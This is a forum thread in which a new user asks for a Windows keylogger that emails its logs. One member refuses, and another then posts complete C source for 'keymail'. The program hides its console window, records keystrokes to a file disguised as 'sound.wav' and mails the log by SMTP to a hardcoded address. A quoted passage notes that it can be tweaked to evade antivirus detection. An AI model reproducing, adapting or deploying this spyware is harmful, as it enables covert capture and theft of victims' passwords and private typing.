Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Nov 17th, 2007, 12:14 AM   #1
wajeeh
Newbie
 
Join Date: Nov 2007
Posts: 6
Rep Power: 0 wajeeh is on a distinguished road
Key Logger That Emails?

Did anyone make a keylogger that emails back to you. i am new to programming but would like to know, and an example keylogger would be good. Thanks
wajeeh is offline   Reply With Quote
Old Nov 17th, 2007, 12:34 AM   #2
mrynit
Hobbyist Programmer
 
mrynit's Avatar
 
Join Date: Mar 2006
Location: WA, USA
Posts: 343
Rep Power: 3 mrynit is on a distinguished road
Send a message via AIM to mrynit Send a message via MSN to mrynit Send a message via Yahoo to mrynit Send a message via Skype™ to mrynit
Re: Key Logger That Emails?

what OS?
__________________
i dont know much about programming but i try to help
mrynit is offline   Reply With Quote
Old Nov 17th, 2007, 12:35 AM   #3
wajeeh
Newbie
 
Join Date: Nov 2007
Posts: 6
Rep Power: 0 wajeeh is on a distinguished road
Re: Key Logger That Emails?

Windows
wajeeh is offline   Reply With Quote
Old Nov 17th, 2007, 12:37 AM   #4
mrynit
Hobbyist Programmer
 
mrynit's Avatar
 
Join Date: Mar 2006
Location: WA, USA
Posts: 343
Rep Power: 3 mrynit is on a distinguished road
Send a message via AIM to mrynit Send a message via MSN to mrynit Send a message via Yahoo to mrynit Send a message via Skype™ to mrynit
Re: Key Logger That Emails?

windows 2.1?
__________________
i dont know much about programming but i try to help
mrynit is offline   Reply With Quote
Old Nov 17th, 2007, 12:40 AM   #5
wajeeh
Newbie
 
Join Date: Nov 2007
Posts: 6
Rep Power: 0 wajeeh is on a distinguished road
Re: Key Logger That Emails?

Quote:
Originally Posted by mrynit View Post
windows 2.1?
XP
wajeeh is offline   Reply With Quote
Old Nov 17th, 2007, 12:54 AM   #6
mrynit
Hobbyist Programmer
 
mrynit's Avatar
 
Join Date: Mar 2006
Location: WA, USA
Posts: 343
Rep Power: 3 mrynit is on a distinguished road
Send a message via AIM to mrynit Send a message via MSN to mrynit Send a message via Yahoo to mrynit Send a message via Skype™ to mrynit
Re: Key Logger That Emails?

oh XP....hmmm.... maybe reading the forum rules might help.
__________________
i dont know much about programming but i try to help
mrynit is offline   Reply With Quote
Old Nov 17th, 2007, 7:53 AM   #7
DaWei
Resident Grouch
 
DaWei's Avatar
 
Join Date: Jun 2005
Posts: 6,453
Rep Power: 10 DaWei is on a distinguished road
Re: Key Logger That Emails?

Wajeeh: You are treading a fine line. A keylogger, per se, is not an illegal thing, but most are used for devious purposes, and we don't like to help those purposes along.

The fact that you are asking outright for the code, rather than studying the mass of material available on the web, is not helping your cause.

If this is a learning exercise, refer to the producer of your system regarding how one hooks into such things. If you just want a product, there are dozens available. Take your request to Google, if nothing else.
__________________
Abstraction doesn't make it impossible to write bad code; it makes it possible to write superior code.
Contributor's Corner: Grumpy on C++ Exceptions DaWei on Pointers
DaWei is offline   Reply With Quote
Old Nov 17th, 2007, 4:04 PM   #8
leven
Newbie
 
Join Date: Nov 2007
Posts: 1
Rep Power: 0 leven is on a distinguished road
Re: Key Logger That Emails?

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                                                              *
*  File: keymail.c   Ver. 0.7                                                  *
*                                                                              *
*  Purpose: a stealth (somewhat) key logger, writes to a log file then sends   *
*  and email to whoever is set in the #define options at compile time.         *
*  This code is for educational uses, don't be an ass hat with it.             *
*  White Scorpion (www.white-scorpion.nl) did the initial work on the key      *
*  logger, but he has gone on to bigger and better things.                     *
*  This version was crafted by Irongeek (www.Irongeek.com), who tacked on      *
*  some code to make it send emails, along with a few other changes.           *
*  If some of the code is crappy, blame Irongeek and not White Scorpion.       *
*  Please send Irongeek improvements and he will post the changes and give you *
*  credit for your contributions.                                              *
*                                                                              *
*  This program is free software; you can redistribute it and/or               *
*  modify it under the terms of the GNU General Public License                 *
*  as published by the Free Software Foundation; either version 2              *
*  of the License, or (at your option) any later version.                      *
*                                                                              *
*  This program is distributed in the hope that it will be useful,             *
*  but WITHOUT ANY WARRANTY; without even the implied warranty of              *
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               *
*  GNU General Public License for more details.                                *
*                                                                              *
*  You should have received a copy of the GNU General Public License           *
*  along with this program; if not, write to the Free Software                 *
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. *
*                                                                              *
* Change log:                                                                  *
*      1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.      *
*      6/22/06 Added the date and time functionality using ctime and fixed     *
*              a bug where subject was being defined twice.(ThVoidedLine)      *
*                                                                              *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
        Linker error] undefined reference to `WSAStartup@8'
Add this:
         -lws2_32
to Tools->Compiler Options under the section on compile flags.
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "irong33k@gmail.com"
#define cemailfrom "irong33k@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth */
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   {FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
   
   /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);          
    } */
   
   int t=get_keys();    
   return t;
}  

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              fclose(file);
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              fclose(file);
                                              break;    
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              fclose(file);
                                              break;                                
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              fclose(file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                        
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                            
}

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
     dest_addr.sin_port= htons(25); /* PORT defined above */

     /* Get socket */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connect !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}
leven is offline   Reply With Quote
Old Nov 17th, 2007, 4:32 PM   #9
DaWei
Resident Grouch
 
DaWei's Avatar
 
Join Date: Jun 2005
Posts: 6,453
Rep Power: 10 DaWei is on a distinguished road
Re: Key Logger That Emails?

As far as I can tell, the above code can be used freely. There is no statement regarding licensing on the originator's site, which is copyright 2007 IronGeek.

As a cautionary note I would remind you that if you post something here that is not your own work, you should make sure that it is legal to do so.

This information is posted by IronGeek, on his site, if you're interested in the source of this code:
Quote:
Keymail is a stealth (somewhat) key logger that e-mails key strokes to whoever is set in the #define options at compile time. This code is for educational uses, it should be useful for those that want to learn more about using sockets in C and Windows key loggers. Don't be an ass hat with it, I'll only answer intelligent questions about it so don't e-mail me about the code unless it's to contribute or to ask an intelligent question. Cool thing about it, if Anti-virus apps start to detect it you should be able to just change it a little and recompile it

White Scorpion ( http://www.white-scorpion.nl ) did the initial work on the key logger, but he has gone on to bigger and better things. This version was crafted by Irongeek, who tacked on some code to make it send e-mails, along with a few other changes. If some of the code is crappy, blame Irongeek and not White Scorpion. Please send Irongeek improvements and he will post the changes and give you credit for your contributions. It can be compiled with the Open Source Mingw and the Bloodshed IDE.

Don't forget to change the e-mail options when you compile it. Also, check the SMTP log file for debugging information.
__________________
Abstraction doesn't make it impossible to write bad code; it makes it possible to write superior code.
Contributor's Corner: Grumpy on C++ Exceptions DaWei on Pointers
DaWei is offline   Reply With Quote
Old Nov 17th, 2007, 5:59 PM   #10
wajeeh
Newbie
 
Join Date: Nov 2007
Posts: 6
Rep Power: 0 wajeeh is on a distinguished road
Re: Key Logger That Emails?

Thank you all. Ill read over it tommorow and see how its done, and yes this is for learning Purpose . Thanks Alot.
wajeeh is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
mysql - question about numeric key programmingnoob Other Scripting Languages 2 Aug 22nd, 2007 6:20 PM
Registry Key Creator Ben.Dougall Show Off Your Open Source Projects 2 Jul 8th, 2007 9:10 PM
Press any key to continue... 357mag C# 6 May 16th, 2007 6:10 PM
Anyone know how to use triggers to send emails??? k4pil PHP 3 Mar 14th, 2006 8:11 PM
No notification emails M.Hirsch Community Announcements and Feedback 10 Jul 1st, 2005 10:12 AM




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 1:10 AM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC